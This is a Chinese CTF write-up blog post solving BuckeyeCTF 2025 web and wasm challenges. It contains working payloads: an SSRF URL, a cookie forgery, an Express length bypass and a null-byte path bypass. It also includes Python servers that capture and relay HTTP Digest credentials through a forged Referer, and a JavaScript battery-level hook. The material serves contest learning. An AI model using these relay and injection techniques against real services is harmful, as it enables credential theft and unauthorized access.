BuckeyeCTF 2025 wp&复现

BuckeyeCTF 2025

Web

beginner / ebg13

ssrf 到 admin 路由把结果 rot13 一下即可

/ebj13?url=http://localhost:3000/admin

beginner / Ramesses

改一下 cookie 把 is_pharaoh 置 true 即可

BIG CHUNGUS

username 长度大于 0xB16_C4A6A5 后会渲染 flag,但是是个超大数据

用类似字典的形式绕过,express 的一个 trick

?username[length]=4793467818

Awklet

给的 AWK 脚本

function load_font(font_name, font,    filename, line, char, row, c) {
    filename = font_name ".txt"
    char = 32
    row = 0

    while ((getline line < filename) > 0) {
        font[char, row] = line
        row++

        if (row == HEIGHT) {
            char++
            row = 0
        }
    }

    close(filename)
}

font_name 直接做拼接,用 %00 绕过后缀名拼接

空格是第一个字符,用空格转换就能读前七行

实际上不用空格也行,不存在的行数会循环读前面的内容

Packages

第一反应是 sqlite 注入读文件

db.enable_load_extension(True)

不想做 sql。。 大概就是 load 一个扩展然后读文件

AUTHMAN

@app.route('/api/check',methods=['GET'])
def check():
    (user, pw), *_ = app.config['AUTH_USERS'].items()
    res = requests.get(r.referrer + '/auth',
        auth = HTTPDigestAuth(user,pw),
        timeout=3
    )
    return jsonify({'status':res.status_code})

referrer 可控,会导致密码泄露

HTTPDigestAuth 需要先返回一个 401,然后服务器会发送带数据的请求

ai 一个服务端代码

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
import time
import hashlib

class DigestChallengeHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/auth':
            # 第一次:返回 401 + WWW-Authenticate 挑战
            if 'Authorization' not in self.headers:
                nonce = hashlib.md5(str(time.time()).encode()).hexdigest()
                www_auth = f'Digest realm="SecureArea", nonce="{nonce}", algorithm=MD5, qop="auth"'
                
                print("\n[+] 收到初始请求,返回 401 挑战...")
                self.send_response(401)
                self.send_header("WWW-Authenticate", www_auth)
                self.send_header("Content-Length", "0")
                self.end_headers()
            
            # 第二次:收到带 Authorization 的请求
            else:
                print("\n" + "="*70)
                print(f"🎉 收到来自 {self.client_address[0]} 的完整请求!")
                print(f"{self.command} {self.path} {self.request_version}")
                for key, value in self.headers.items():
                    print(f"{key}: {value}")
                print("="*70 + "\n")

                # 返回 200,结束流程
                self.send_response(200)
                self.send_header("Content-Length", "0")
                self.end_headers()
        else:
            self.send_error(404)

    # 支持其他方法(可选)
    def do_POST(self): self.do_GET()

if __name__ == '__main__':
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
    print(f"[+] 启动 Digest 捕获服务 on :{port}")
    server = HTTPServer(('0.0.0.0', port), DigestChallengeHandler)
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\n[!] Bye.")
GET /auth HTTP/1.1
Host: 120.79.192.53
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Authorization: Digest username="keno", realm="SecureArea", nonce="7886aee753117d692929dc76b93114d5", uri="/auth", response="692988a5fb8c1fa69fcfcb6c79795719", algorithm="MD5", qop="auth", nc=00000001, cnonce="59442446a19f5cbb"

研究一下 hashcat 怎么破这个

不对啊,这个密码是生成的 爆破不是预期思路

转发的思路也行不通,digest 本身机制是会防止中间人攻击的

感觉漏掉源码里的什么东西了

复现:

转发的思路是对的,也确实漏了点东西

https://en.wikipedia.org/wiki/Digest_access_authentication#Disadvantages

Digest access authentication is vulnerable to a man-in-the-middle (MITM) attack. For example, a MITM attacker could tell clients to use basic access authentication or legacy RFC2069 digest access authentication mode. To extend this further, digest access authentication provides no mechanism for clients to verify the server's identity

qop 和 nonce 机制主要是防止了重放攻击
当时做的时候没有搞清楚这里的通信过程

请求/api/check  ->  根据Referer请求/auth  ->
auth返回WWW-Authenticate头和cookie,包含nonce等参数,响应码为401(挑战) ->
api接收参数,生成Authorization,带cookie再次请求auth(响应)  ->
auth验证通过,返回页面

所以我们充当中间人需要进行两次转发(服务端代码改自 golden 师傅)

#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler
import requests

class AuthHTTPRequestHandler(SimpleHTTPRequestHandler):
    def do_AUTHHEAD(self):
        self.send_response(401)

        p = requests.head("http://localhost:11451/auth")
        self.send_header("WWW-Authenticate", p.headers["WWW-Authenticate"])
        self.send_header("Set-Cookie", p.headers["Set-Cookie"])
        print(p.headers)
        print(f'received head, forcing client to auth with {p.headers["WWW-Authenticate"]} and cookie')
        self.send_header("Content-type", "text/html")
        self.end_headers()

    def do_GET(self):
        h = self.headers.get("Authorization")
        if h == None:
            self.do_AUTHHEAD()
            print("no auth header received")
        else:
            print(f'successful mitm with {h}, making request to host')
            p = requests.get("http://localhost:11451/auth", headers={
                "Authorization": h,
                "Cookie": self.headers.get("Cookie"),
            })
            print(f'cookie: {self.headers.get("Cookie")}')
            print(p.content)

if __name__ == '__main__':
    port = 443
    print(f"[+] 启动 Digest 捕获服务 on :{port}")
    server = HTTPServer(('0.0.0.0', port), AuthHTTPRequestHandler)
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\n[!] Bye.")

请求一次 api 即可开始攻击

import requests

url = "http://127.0.0.1:11451"

session = requests.session()

proxy = {"http" : "http://127.0.0.1:9002"}

referer = {
    "Referer" : "http://host.docker.internal:443",
}

r = session.get(url+"/api/check", headers=referer, proxies=proxy)
print(r.text)

Nice Astronomy

wasm 不会要逆向吧。

复现:

确实是一个 wasm 逆向,之前没有做过,所以来学习一下

静态调试

https://github.com/WebAssembly/wabt

https://github.com/vient/wasm2ida

用 wasm2ida 会报错,所以我直接用了 wabt 的 wasm2wat

也许是主函数?

(func $main (type 8) (param i32 i32) (result i32)
    (local i32)
    global.get $__stack_pointer
    i32.const 16
    i32.sub
    local.tee 2
    global.set $__stack_pointer
    local.get 2
    i32.const 30
    i32.store offset=12
    local.get 2
    i32.const 12
    i32.add
    i32.const 1066344
    local.get 0
    local.get 1
    i32.const 0
    call $std::rt::lang_start_internal::ha7a3efe536cc1a53
    local.set 1
    local.get 2
    i32.const 16
    i32.add
    global.set $__stack_pointer
    local.get 1)

追踪到这个入口函数

(func $std::rt::lang_start_internal::ha7a3efe536cc1a53 (type 16) (param i32 i32 i32 i32 i32) (result i32)
    (local i32 i32 i64 i64 i64)
    global.get $__stack_pointer
    i32.const 16
    i32.sub
    local.tee 5
    global.set $__stack_pointer
    block  ;; label = @1
      block  ;; label = @2
        i32.const 0
        i64.load offset=1077504
        local.tee 7
        i64.const 0
        i64.ne
        br_if 0 (;@2;)
        i32.const 0
        i64.load offset=1077520
        local.set 8
        loop  ;; label = @3
          local.get 8
          i64.const -1
          i64.eq
          br_if 2 (;@1;)
          i32.const 0
          local.get 8
          i64.const 1
          i64.add
          local.tee 7
          i32.const 0
          i64.load offset=1077520
          local.tee 9
          local.get 9
          local.get 8
          i64.eq
          local.tee 6
          select
          i64.store offset=1077520
          local.get 9
          local.set 8
          local.get 6
          i32.eqz
          br_if 0 (;@3;)
        end
        i32.const 0
        local.get 7
        i64.store offset=1077504
      end
      i32.const 0
      local.get 7
      i64.store offset=1077496
      local.get 0
      local.get 1
      i32.load offset=20
      call_indirect (type 4)
      local.set 6
      block  ;; label = @2
        i32.const 0
        i32.load8_u offset=1077032
        i32.const 3
        i32.eq
        br_if 0 (;@2;)
        local.get 5
        i32.const 1
        i32.store8 offset=15
        local.get 5
        i32.const 15
        i32.add
        call $std::sys::sync::once::no_threads::Once::call::h53323f0cd7af4a9e
      end
      local.get 5
      i32.const 16
      i32.add
      global.set $__stack_pointer
      local.get 6
      return
    end
    call $std::thread::ThreadId::new::exhausted::h683383f9348e8ea0
    unreachable)

从这里开始调用是通过间接的方式进行的,需要算偏移

问题在于我不会 😋

ai 分析发现有电池监控逻辑

找到这个相关的函数

(func $nice::setup_battery_monitoring::{{closure}}::{{closure}}::h42151b6bd36d55f6 (;347;) (param $var0 i32) (param $var1 i32)
    (local $var2 i32)
    (local $var3 i32)
    global.get $__stack_pointer
    i32.const 16
    i32.sub
    local.tee $var2
    global.set $__stack_pointer
    local.get $var2
    local.get $var0
    i32.load offset=8
    call $__wbindgen_object_clone_ref
    local.tee $var3
    i32.store offset=12
    block $label1
      block $label2
        block $label0
          local.get $var2
          i32.const 12
          i32.add
          call $web_sys::features::gen_BatteryManager::_::<impl wasm_bindgen::cast::JsCast for web_sys::features::gen_BatteryManager::BatteryManager>::instanceof::h47d6738c2bd44e8d
          i32.eqz
          br_if $label0
          local.get $var2
          local.get $var3
          i32.store offset=8
          local.get $var0
          i64.const 1
          local.get $var2
          i32.const 8
          i32.add
          call $web_sys::features::gen_BatteryManager::BatteryManager::level::hee1734aec96fcd55
          f64.const 100
          f64.mul
          i32.const 1053860
          call $<T as reactive_graph::traits::Update>::try_maybe_update::hb7f83c4ce37665ec
          drop
          local.get $var3
          i32.const 132
          i32.lt_u
          br_if $label1
          br $label2
        end $label0
        local.get $var3
        i32.const 132
        i32.lt_u
        br_if $label1
      end $label2
      local.get $var3
      call $__externref_table_dealloc
    end $label1
    block $label3
      local.get $var1
      i32.const 132
      i32.lt_u
      br_if $label3
      local.get $var1
      call $__externref_table_dealloc
    end $label3
    local.get $var2
    i32.const 16
    i32.add
    global.set $__stack_pointer
  )

会读电量

打个断点看看

调用到这里获取到我的电量(目前是 1),然后乘 100

然后会传入 try_maybe_update

它的 var0 指向的是状态对象的地址

断住之后可以看到值 1114912,就是 level 保存的对象

继续跟进到赋值部分

此时 var0 为 1114720,那么值存入了 1114720+24=1114744

然后就追不下去了,我也不会 hook 什么的,也没什么可以参考的 wp。。。

其实到这里已经花了很长时间了,虽然写出来的不多,但是摸索了好久,毕竟第一次 rev

后续有完整 wp 再继续看,这里先跳过


参考了一下 siunam 师傅的分享,最后会到这里

会把电量跟 69 做比较,所以需要伪造一下电量到 69(当然笔记本直接物理到也行

这里也是用的 hook

const originalGetBattery = navigator.getBattery;

navigator.getBattery = function() {
  return originalGetBattery.call(navigator).then(battery => {
    return new Proxy(battery, {
      get(target, prop) {
        if (prop === 'level') return 0.69;
        return target[prop];
      }
    });
  });
};

posted @ 2025-11-12 21:14  xNftrOne  阅读(32)  评论(0)    收藏  举报